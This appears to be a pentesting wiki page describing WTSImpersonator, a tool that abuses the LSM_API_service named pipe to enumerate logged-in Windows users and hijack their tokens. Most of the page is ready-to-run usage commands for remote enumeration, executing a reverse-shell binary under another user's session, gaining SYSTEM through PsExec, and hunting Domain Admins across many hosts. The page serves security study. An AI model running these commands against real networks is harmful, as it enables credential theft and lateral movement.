The **WTS Impersonator** tool exploits the **"\pipe\LSM\_API\_service"** RPC Named pipe to stealthily enumerate logged-in users and hijack their tokens, bypassing traditional Token Impersonation techniques. This approach facilitates seamless lateral movements within networks. The innovation behind this technique is credited to **Omri Baso, whose work is accessible on** [**GitHub**](https://github.com/OmriBaso/WTSImpersonator).

#### Core Functionality

The tool operates through a sequence of API calls:

```powershell
WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → CreateProcessAsUserW
```

#### Key Modules and Usage

* **Enumerating Users**: Local and remote user enumeration is possible with the tool, using commands for either scenario:
  * Locally:

    ```powershell
    .\WTSImpersonator.exe -m enum
    ```
  * Remotely, by specifying an IP address or hostname:

    ```powershell
    .\WTSImpersonator.exe -m enum -s 192.168.40.131  
    ```
* **Executing Commands**: The `exec` and `exec-remote` modules require a **Service** context to function. Local execution simply needs the WTSImpersonator executable and a command:
  * Example for local command execution:

    ```powershell
    .\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe  
    ```
  * PsExec64.exe can be used to gain a service context:

    ```powershell
    .\PsExec64.exe -accepteula -s cmd.exe
    ```
* **Remote Command Execution**: Involves creating and installing a service remotely similar to PsExec.exe, allowing execution with appropriate permissions.
  * Example of remote execution:

    ```powershell
    .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
    ```
* **User Hunting Module**: Targets specific users across multiple machines, executing code under their credentials. This is especially useful for targeting Domain Admins with local admin rights on several systems.
  * Usage example:

    ```powershell
    .\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe 
    ```
